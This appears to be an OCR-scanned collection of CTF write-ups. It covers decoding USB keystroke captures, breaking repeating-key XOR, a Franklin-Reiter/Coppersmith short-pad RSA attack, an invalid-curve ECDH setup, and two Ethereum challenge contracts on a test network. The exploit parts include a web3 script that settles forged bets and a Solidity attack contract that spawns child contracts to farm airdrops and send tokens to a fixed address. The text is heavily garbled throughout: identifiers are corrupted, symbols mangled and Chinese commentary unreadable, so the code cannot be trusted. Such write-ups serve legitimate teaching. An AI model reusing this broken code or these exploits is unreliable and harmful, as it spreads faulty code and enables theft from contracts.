OX0E:*K”, OXOF:“L”, 0x10:"M”, 0x11:*N”,0x12:*0”, 0x13:“P”, 0x14:“Q”, 0x15:"R”, 0x16:“S”, Ox17:“T",
0x18:U”,0x19:V”, Ox1A:“W”, 0x1B:“X”, 0x1C:“Y”, 0x1D:“Z”, OX1E:"I", OX1F:"@", 0x20:"#", 0x21:"$", 0x22:"%",
0x23:"", Ox24:"&", 0x25:"*", 0x26:"(", 0x27:")", 0x28:"\n", Ox2a:"[DEL]", 0X2B:" “, 0x2C:” ¢, 0x2D:"_", OX2E:"+",
0x2F:"{", 0x30:"}", 0x31:"|", 0x32:"~", 0x33:":", 0x34:""",0x35:"~", 0x36:"<", 0x37:">", 0x38:"?" }

nums = []

shift_press =]

keys = open(‘usbdata.txt’)

for line in keys:
shift_press.append(line[1])
nums.append(int(line[6:8],16))
keys.close()

“n

output =
m=0
for nin nums:

ifn==0:

m +=1

continue

if nin shiftkeys:

if shift_press[m] == ‘2’ : #shift is pressed
output += shiftkeys[n]

m +=1

elif shift_press[m]=="0":

output += normalkeys[n]

m +=1

print ‘output :\n’ + output
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Xor game
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freas ={



“a” 8.167,
“b”: 1.492,
“c”2.782,
“d”: 4.253,
“e”:12.702,
“f.2.228,
“g”: 2.015,
“h”: 6.094,
“”: 6.966,
“:0.153,
“k”: 0.772,
“I: 4.025,
“m”: 2.406,
“n”: 6.749,
“0”: 7.507,
“p”: 1.929,
“q”: 0.095,
“r": 5.987,
“s”: 6.327,
“”: 9.056,
“u”: 2.758,
“v": 0.978,
“w”: 2.360,
“X": 0.150,
‘Y’ 1.974,
“Z’:0.074,
""20.0

}

def score(s):

counts = {}

for i in string.ascii_lowercase + "
countsJi] = s.count(i)

score = <span class="hljs-number">0.0</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> s:
i = i.lower()
<span class="hljs-keyword">if</span> i <span class="hljs-keyword">in</span> freqgs:
score += freqs[i] * counts[i]

<span class="hljs-keyword">return</span> score/len(s)

def break_single_xor(data):

def key(s):

return score(s[1])

return max([(i, strxor_c(data, i)) for i in range(256)], key=key)

def get_hamming_distance(x, y):
return sum([bin(ord(x[i]) * ord(y[i])).count(‘1’) for i in range(len(x))])

def get_edit_distance(data, k):
blocks = [data[i:i+k] for i in range(0, len(data), k)][0:4]
pairs = list(itertools.combinations(blocks, 2))
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return sum(scores) / len(scores)

def break_repeat_xor(data, length):

blocks = [datali:i+length] for i in range(0, len(data), length)]
transposedBlocks = list(itertools.izip_longest(*blocks, fillvalue=0))

key = [break_single_xor(”.join([str(n) for nin X]))[0] for x in transposedBlocks]
return  join([chr(x) for x in key])

defrepeat_key xor(data, key):
key = (key * (len(data) / len(key) + 1))[:len(data)]
return strxor(data, key)

data = base64.b64decode(open(‘cipher.txt’, ‘r').read().replace(’\n’, ’))

k = min(range(2, 41), key=lambda k: get_edit_distance(data, k))
print “keylength: {}".format(str(k))

key = break_repeat_xor(data, k)

print “key: {}".format(str(key))

print “poem: {}".format(repeat_key xor(data, key))
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def franklin_reiter(c1, c2, N, r, e=3):

P.<x> = PolynomialRing(Zmod(N))

equations =[x*e-c1,(x+r)*e-c2]

g1, g2 = equations

print(type(g1))

return -composite_gcd(g1,92).coefficients()[0]

def short_pad_attack(c1, c2, e, n, nbits, kbits):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
gl=x"e-c1

g2 = (xty)"e - c2

q1 =g1.change_ring(PRZZ)

g2 = g2.change_ring(PRZZ)

h = g2.resultant(q1)

h = h.univariate_polynomial()

h = h.change_ring(PRXx).subs(y=xn)

h = h.monic()

r = h.small_roots(X=2"kbits, beta=0.5)[0]
m1 = franklin_reiter(c1,c2,n,r, e)
returnm1, m1 +r



m1, m2 = short_pad_attack(c1, c2, e, n, 2048, 40)
print m1
print m2
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import base64
import binascii

import struct

def long to bytes(n, blocksize=0):
s = p'




pack = struct.pack
while n > @:
s = pack('>I', n & OxffffffffL) + s
n=mn > 32
# strip off leading zeros
for i in range(len(s)):
if s[i] !'= b'\x00'[0]:
break
else:
only happens when n == 0
b'\x00"'
=0
s = s[i:]
# add back some pad bytes. this could be done more efficiently w.r.t. the
# de-padding being done above, but sigh...
if blocksize > @ and len(s) % blocksize:
s = (blocksize - len(s) % blocksize) * b'\x00' + s

return s

115792089210356248762697446949407573530086143415290314195533631308867097853951
= p256 - 3
GF (p256)

b256 = randint(2, 2°16)
E = EllipticCurve([FF(a256), FF(b256)])
ss = str(E.order().factor()).split('*")
for i in ss:
if *A' not in i:
i = int(i.strip())
if 100 < 1 < 2000:
P = E.random_point() * Integer(E.order()/i)
# order = P.order()
print i, P
# print str(P).split(':")
bp = [base64.urlsafe_bédencode(long_to bytes(int(P[0]))), base6
4.urlsafe_b64encode(long_to_bytes(int(P[1])))]
res.append((i, bp))
break
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Blockchain

ez2win

Ox71feca5foff0123a60ef2871bababe5d289942ef for ropsten

D2GBToken is onsale. we will airdrop each person 10 D2GBTOKEN. You can transcat with others as

you like.

only winner can get more than 10000000, but no one can do it.

function PayForFlag(string b64email) public payable returns (bool success)¥
require (_balances[msg.sender] > 10000000);
emit GetFlag(b64email, “Get flag!”);

}

hint1:you should recover eht source code first. and break all eht concepts you've already hold
hint2: now open source for you, and its really ez
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pragma solidity 70.4.24;


http://img.tan90.me/Invalid%20curve%20attack%20in%20JWE%20ECDH-ES.pdf
https://tools.ietf.org/html/rfc7518#page-66
https://auth0.com/blog/critical-vulnerability-in-json-web-encryption/
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.107.3920&rep=rep1&type=pdf
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/**

1. @title ERC20 interface

2. @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);

function allowance(address owner, address spender)
external view returns (uint256);

function transfer(address to, uint256 value) external returns (bool);

function approve(address spender, uint256 value)
external returns (bool);

function transferFrom(address from, address to, uint256 value)
external returns (bool);

event Transfer(
address indexed from,
address indexed to,
uint256 value

);

event Approval(

address indexed owner,
address indexed spender,
uint256 value

);

event GetFlag(
string b64email,
string back

1. @title SafeMath

2. @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**

@dev Multiplies two numbers, reverts on overflow.
*/

function mul(uint256 a, uint256 b) internal pure returns (Uint256) {

/I Gas optimization: this is cheaper than requiring ‘a’ not being zero, but the

/[ benefitis lostif ‘b’ is also tested.

/I See: https://github.com/OpenZeppelinf/openzeppelin-solidity/pull/522

/A ——= NN\ T


https://github.com/ethereum/EIPs/issues/20
https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
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return O;

}

uint256 c =a * b;
require(c / a == b);

return c;

}

/**

@dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/

function div(uint256 a, uint256 b) internal pure returns (uint256) {

require(b > 0); / Solidity only automatically asserts when dividing by 0

uint256 c=a/b;

/I assert(a ==b * c +a % b); // There is no case in which this doesn’t hold

return c;

}

/**

@dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/

function sub(uint256 a, uint256 b) internal pure returns (uint256) {

require(b <= a);

uint256 c=a - b;

return c;

}

/**

@dev Adds two numbers, reverts on overflow.

*/

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c=a + b;

require(c >= a);

return c;

}
}

/**

1. @title Standard ERC20 token

@dev Implementation of the basic standard token.

https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md

o & w0 BN

Originally based on code by FirstBlood:
https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol


https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
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contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) public _balances;

mapping (address => mapping (address => uint256)) public _allowed;
mapping(address => bool) initialized;

uint256 public _totalSupply;

uint256 public constant _airdropAmount = 10;

/**

1. @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;

}
/**

1. @dev Gets the balance of the specified address.
2. @param owner The address to query the balance of.

3. @return An uint256 representing the amount owned by the passed address.

*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}

/[ airdrop

function AirdropCheck() internal returns (bool success){

if (linitialized[msg.sender]) {

initialized[msg.sender] = true;

_balances[msg.sender] = _airdropAmount;

_totalSupply += _airdropAmount;

}

return true;

}

/**

—_

. @dev Function to check the amount of tokens that an owner allowed to a spender.
2. @param owner address The address which owns the funds.

3. @param spender address The address which will spend the funds.

4

. @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public

view



/**

/**
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returns (uint256)
{

return _allowed[owner][spender];

}

. @dev Transfer token for a specified address
. @param to The address to transfer to.

. @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
AirdropCheck();
_transfer(msg.sender, to, value);
return true;

}

. @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
Beware that changing an allowance with this method brings the risk that someone may use both the old
and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this

race condition is to first reduce the spender’s allowance to 0 and set the desired value afterwards:
https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729

@param spender The address which will spend the funds.

@param value The amount of tokens to be spent.

*/

function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));

AirdropCheck();

allowed[msg.sender][spender] = value;

return true;

/**

—

. @dev Transfer tokens from one address to another
. @param from address The address which you want to send tokens from
. @param to address The address which you want to transfer to

. @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)


https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729

{

require(value <= _allowed[from][msg.sender]);
AirdropCheck();

allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);

transfer(from, to, value);

return true;

/**

@dev Transfer token for a specified addresses
@param from The address to transfer from.
@param to The address to transfer to.

@param value The amount to be transferred.

*/

function _transfer(address from, address to, uint256 value) {
require(value <= _balances[from]);

require(to != address(0));

_balances[from] = _balances[from].sub(value);
_balances[to] = _balances][to].add(value);

}

}

contract D2GBToken is ERC20 {

string public constant name = “D2GBToken”;
string public constant symbol = “D2GBToken”;
uint8 public constant decimals = 18;

uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

/**

1. @dev Constructor that gives msg.sender all of existing tokens.

*/
constructor() public {
_totalSupply = INITIAL_SUPPLY;
_balances[msg.sender] = INITIAL_SUPPLY,;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}

/flag

function PayForFlag(string b64email) public payable returns (bool success )}

require (_balances[msg.sender] &gt; 10000000);

emit GetFlag(b64email, "Get flag!");
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function transfer(address to, uint256 value) public returns (bool) {

AirdropCheck();

transfer(msg.sender, to, value);

return true;

function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _allowed[from][msg.sender]);
AirdropCheck();

allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
transfer(from, to, value);

return true;

}
Al W, transferZhilfs & 7 msg.senderfF N KA5 T, Toiksent,
transferFromfit 2 5k 11 26 75 22 approve B2 A, X Je — AMZRR L, R BEFE KR AURE , WAAFALE i) .
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function _transfer(address from, address to, uint256 value) {
require(value <= _balances[from]);
require(to != address(0));

balances[from] = balances[from].sub(value);
balances[to] = _balances[to].add(value);

}

fEsolidity, A SCEREARIY, x40 public, A XANFEAKIFAA s HUH v ABAT =R, B
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Description

OXx006b9bc418e43e92cf8d380c56b8d4bed1fda31l9 for ropsten and open source

D2GBToken is onsale. Now New game is coming.
We'll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.

: 735.09
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pragma solidity 70.4.24;

/**

@title SafeMath

@dev Math operations with safety checks that revert on error
*/
library SafeMath {

/**

@dev Multiplies two numbers, reverts on overflow.

*/

function mul(uint256 a, uint256 b) internal pure returns (uint256) {

/I Gas optimization: this is cheaper than requiring ‘a’ not being zero, but the
/I benefitis lost if ‘b’ is also tested.

I/ See: https://github.com/OpenZeppelinf/openzeppelin-solidity/pull/522

if (a==0){

return O;

}

uint256 c=a * b;
require(c / a == b);

return c;

}

/**

@dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/

function div(uint256 a, uint256 b) internal pure returns (uint256) {

require(b > 0); // Solidity only automatically asserts when dividing by 0

uint256 c =a/b;

/I assert(a ==b * c +a % b); // There is no case in which this doesn’t hold

return c;

}

@dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/

function sub(uint256 a, uint256 b) internal pure returns (uint256) {

require(b <= a);

uint256 c = a - b;

return c;


https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522

/**

@dev Adds two numbers, reverts on overtlow.

*/

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c =a + b;

require(c >= a);

return c;

}
}

@title Standard ERC20 token

@dev Implementation of the basic standard token.
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md

Originally based on code by FirstBlood:
https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/

contract ERC20{

using SafeMath for uint256;

mapping (address => uint256) public balances;
uint256 public _totalSupply;

/**

1. @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;

}
/**

1. @dev Gets the balance of the specified address.
2. @param owner The address to query the balance of.

3. @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return balances[owner];
}
function transfer(address _to, uint _value) public returns (bool success)
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);

return true;


https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol

contract B2GBToken is ERC20 {

string public constant name = "test";

string public constant symbol = "test";

uint8 public constant decimals = 18;

uint256 public constant _airdropAmount 1000;

uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

mapping(address =&gt; bool) initialized;
/%%

* @dev Constructor that gives msg.sender all of existing tokens.

initialized[msg.sender] = true;
_totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_ SUPPLY;

}

// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}

return true;

I T EACHY
contract Bet2Loss is B2GBToken{
/Il *** Constants section

// Bets lower than this amount do not participate in jackpot rolls (and are
// not deducted JACKPOT FEE).
uint constant MIN_JACKPOT _BET = 0.1 ether;

// There is minimum and maximum bets.
uint constant MIN_BET 1;
uint constant MAX_ BET 100000;

// Modulo is a number of equiprobable outcomes in a game:

// - 2 for coin flip

// - 6 for dice

// - 6*%6 = 36 for double dice

// - 100 for etheroll

// - 37 for roulette

// etc.

// It's called so because 256-bit entropy is treated like a huge integer and
// the remainder of its division by modulo is considered bet outcome.

uint constant MAX_MODULO = 100;

// EVM BLOCKHASH opcode can query no further than 256 blocks into the

// past. Given that settleBet uses block hash of placeBet as one of

// complementary entropy sources, we cannot process bets older than this
// threshold. On rare occasions dice2.win croupier may fail to invoke

// settleBet in this timespan due to technical issues or extreme Ethereum




// Some deliberately invalid address to initialize the secret signer with.
// Forces maintainers to invoke setSecretSigner before processing any bets.
address constant DUMMY_ADDRESS = OxACB7a6Dc0215cFE38e7e22e3F06121D2alC4216C;

// Standard contract ownership transfer.
address public owner;
address private nextOwner;

// Adjustable max bet profit. Used to cap bets against dynamic odds.
uint public maxProfit;

// The address corresponding to a private key used to sign placeBet commits.
address public secretSigner;

// Accumulated jackpot fund.
uint128 public jackpotSize;

// Funds that are locked in potentially winning bets. Prevents contract from
// committing to bets it cannot pay out.
uint128 public lockedInBets;

// A structure representing a single bet.
struct Bet {
// Wager amount in wei.
uint betnumber;
// Modulo of a game.
uint8 modulo;
// Block number of placeBet tx.
uint40 placeBlockNumber;
// Bit mask representing winning bet outcomes (see MAX MASK MODULO comment).
uint40 mask;
// Address of a gambler, used to pay out winning bets.
address gambler;

// Mapping from commits to all currently active &amp; processed bets.

mapping (uint =&gt; Bet) bets;

// Events that are issued to make statistic recovery easier.
event FailedPayment(address indexed beneficiary, uint amount);

event Payment(address indexed beneficiary, uint amount);

// This event is emitted in placeBet to record commit in the logs.

event Commit(uint commit);

event GetFlag(
string b64email,

string back

)5

// Constructor. Deliberately does not take any parameters.

constructor () public {

owner = msg.sender;
secretSigner = DUMMY_ADDRESS;

// Standard modifier on methods invokable onl contract owner.




modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");

// See comment for "secretSigner" variable.
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;

/// *** Betting logic

// Bet states:

// amount == O &amp;&amp; gambler 'clean' (can place a bet)

// amount != © &amp;&amp; gambler ! 'active' (can be settled or refunded)

// amount == O &amp;&amp; gambler ! - 'processed' (can clean storage)

//

// NOTE: Storage cleaning is not implemented in this contract version; it will be added
// with the next upgrade to prevent polluting Ethereum state with expired bets.

// Bet placing transaction - issued by the player.

// betMask - bet outcomes bit mask for modulo &lt;= MAX_MASK_MODULO,

// [0, betMask) for larger modulos.

// modulo - game modulo.

// commitLastBlock - number of the maximum block where "commit" is still considered valid.
// commit - Keccak256 hash of some secret "reveal" random number, to be supplied

// by the dice2.win croupier bot in the settleBet transaction. Supplying

// "commit" ensures that "reveal" cannot be changed behind the scenes

// after placeBet have been mined.

// - components of ECDSA signature of (commitLastBlock, commit). v is

// guaranteed to always equal 27.
//
// Commit, being essentially random 256-bit number, is used as a unique bet identifier in
// the 'bets' mapping.
//
// Commits are signed with a block 1limit to ensure that they are used at most once - otherwise
// it would be possible for a miner to place a bet with a known commit/reveal pair and tamper
// with the blockhash. Croupier guarantees that commitLastBlock will always be not greater tha
n
// placeBet block number plus BET_EXPIRATION BLOCKS. See whitepaper for details.
function placeBet(uint betMask, uint modulo, uint betnumber, uint commitLastBlock, uint commit
, bytes32 r, bytes32 s, uint8 v) external payable {

// betmaske )%

// moduloje =8/ 54

// commitlastblock HJ5— M AEAERKIblocknumber

// BENIEZEZhash, r, s

// airdrop
AirdropCheck();

// Check that the bet is in 'clean' state.
Bet storage bet = bets[commit];
require (bet.gambler == address(®), "Bet should be in a 'clean' state.");

// check balances &gt; betmask
require (balances[msg.sender] &gt;= betnumber, "no more balances");

// Validate input data ranges.
require (modulo &gt; 1 &amp;&amp; modulo &1t;= MAX_MODULO, "Modulo should be within




require (betMask &gt;= 0 &amp;&amp; betMask &lt; modulo, "Mask should be within range.");
require (betnumber &gt; © &amp;&amp; betnumber &1t; 1000, "BetNumber should be within range.

")s

// Check that commit is valid - it has not expired and its signature is valid.

require (block.number &lt;= commitLastBlock, "Commit has expired.");

bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));

require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.")

// Winning amount and jackpot increase.
uint possibleWinAmount;

possibleWinAmount = getDiceWinAmount(betnumber, modulo);

// Lock funds.
lockedInBets += uint128(possibleWinAmount);

// Check whether contract has enough funds to process this bet.
require (lockedInBets &lt;= balances[owner], "Cannot afford to lose this bet.");

balances[msg.sender] = balances[msg.sender].sub(betnumber);
// Record commit in logs.
emit Commit(commit);

// Store bet parameters on blockchain.
bet.betnumber = betnumber;

bet.modulo = uint8(modulo);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint4e(betMask);

bet.gambler = msg.sender;

// This is the method used to settle 99% of bets. To process a bet with a specific
// "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
// "commit". it

// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.

function settleBet(uint reveal) external {
AirdropCheck();

uint commit = uint(keccak256(abi.encodePacked(reveal)));

Bet storage bet = bets[commit];

uint placeBlockNumber = bet.placeBlockNumber;

// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).

require (block.number &gt; placeBlockNumber, "settleBet in the same block as placeBet, or be|
fore.");

require (block.number &lt;= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be qu
eried by EVM.");

// Settle bet using reveal as entropy sources.
settleBetCommon(bet, reveal);




function settleBetCommon(Bet storage bet, uint reveal) private {
// Fetch bet parameters into local variables (to save gas).
uint betnumber = bet.betnumber;
uint mask = bet.mask;
uint modulo = bet.modulo;
uint placeBlockNumber = bet.placeBlockNumber;
address gambler = bet.gambler;

// Check that bet is in 'active' state.
require (betnumber != @, "Bet should be in an 'active' state");

// The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners
// are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256

// preimage is intractable), and house is unable to alter the "reveal" after

// placeBet have been mined (as Keccak256 collision finding is also intractable).
bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));

// Do a roll by taking a modulo of entropy. Compute winning amount.
uint dice = uint(entropy) % modulo;

uint diceWinAmount;
diceWinAmount = getDiceWinAmount(betnumber, modulo);

uint diceWin = 0;

if (dice == mask){
diceWin = diceWinAmount;

}

// Unlock the bet amount, regardless of the outcome.
lockedInBets -= uint128(diceWinAmount);

// Send the funds to gambler.
sendFunds(gambler, diceWin == @ ? 1 wei : diceWin , diceWin);

// Get the expected win amount after house edge is subtracted.
function getDiceWinAmount(uint amount, uint modulo) private pure returns (uint winAmount) {

winAmount = amount * modulo;

}

ENE &

function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
transfer(beneficiary, amount);

emit Payment(beneficiary, successLogAmount);

¥

//flag

function PayForFlag(string b64email) public payable returns (bool success){

require (balances[msg.sender] &gt; 10000000);
emit GetFlag(b64email, "Get flag!");
¥

XA g A2y, HRZ T F 2] [l hash-reveal-commiti Rl i6 Ik M LE . 22 Bl Y
dice2win/r#r, FRF eI IX AN RS, BRARk A&l BN DURAE — S R AT

https://lorexxar.cn/2018/10/18/dice2win-safe/
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1. AR PR R E

2. JaumE BN, RIE%4, RGcommit T, s, v
# FEHLEC
reveal = random_num()

result[ ‘commit’] = “©x”+sha3.keccak_256(bytes.fromhex(binascii.hexlify(reveal.to bytes(32, ‘big
>)).decode( ‘utf-8’))).hexdigest()

# web33RHL 4 iTblocknumber
result['commitLastBlock'] = w3.eth.blockNumber + 250

message = binascii.hexlify(result['commitLastBlock'].to_bytes(32,'big')).decode( 'utf-8"')+result

['commit'][2:]
message _hash = '@x'+sha3.keccak_256(bytes.fromhex(message)).hexdigest()

signhash = w3.eth.account.signHash(message hash, private_key=private_key)

result[ 'signature'] = {}
result[ 'signature']['r'] = 'Ox' + binascii.hexlify((signhash['r']).to_bytes(32,'big')).decode("’

'Ox"' + binascii.hexlify((signhash['s"']).to_bytes(32,'big"')).decode("

result[ 'signature'J['v"] signhash['v"']

3. [AIE [T, web3.jshl AR FIEHE, Emeta RIS, 225 MIEITE 2 5 MG & Ki%iE Ksettlebet.
4. Rl EE R 2 5% iZ commitfii T 2

transaction = bet2loss.functions.settleBet(int(reveal)).buildTransaction(

{‘chainId’: 3, fgas’: 70000, ‘nonce’: nonce, ‘gasPrice’: w3.toWei(‘1’, ‘gwei’)})

signed = w3.eth.account.signTransaction(transaction, private_key)
result = w3.eth.sendRawTransaction(signed.rawTransaction)
5. &I

XA RS, P EABIBENLE, RS AR BEALE S N, X IR AE ELEH B hash-reveal-
commitB AL E AR BT %

BAVUREZAE B (B DRI A, 28

R, E T B S I K 2 10001D2GB, i %A #E FIR, i3 1000040 K-S, 44
JRHK G — N, IBAARAREIRATHI N fitoken, X MEMEMEE LT, BN A DR HEE.

hHneallnAanAar aanhiin AarnliRAR]


https://paper.seebug.org/646/
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PREUETE — 54, RJEild &L E & LRI A e

REAA MBI, EAEE8, AREREGAT 2 N gasiRAMEIE, R —IXZ 5t
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pragma solidity 70.4.20;
contract Attack 7878678 {

// address[] private son_list;

function Attack _7878678() payable {}

function attack_starta(uint256 reveal num) public {
for(int i=0;i&1t;=50;i++){

son = new Son(reveal num);

function () payable {
}

contract Son_7878678 {

function Son_7878678(uint256 reveal_num) payable {
address game = Ox006b9bc418e43e92cf8d380c56b8d4bed1fda319;
game.call(bytes4(keccak256("settleBet(uint256)")),reveal num);
game.call(bytes4(keccak256("transfer(address,uint256)")),0x5FA2c80DBOO1f970cFDd388143b88709

1Bf85e77,950);

}
function () payable{

}

}
200K kok T
ethre

Look here: https://github.com/Hcamael/ethre_source


https://github.com/Hcamael/ethre_source
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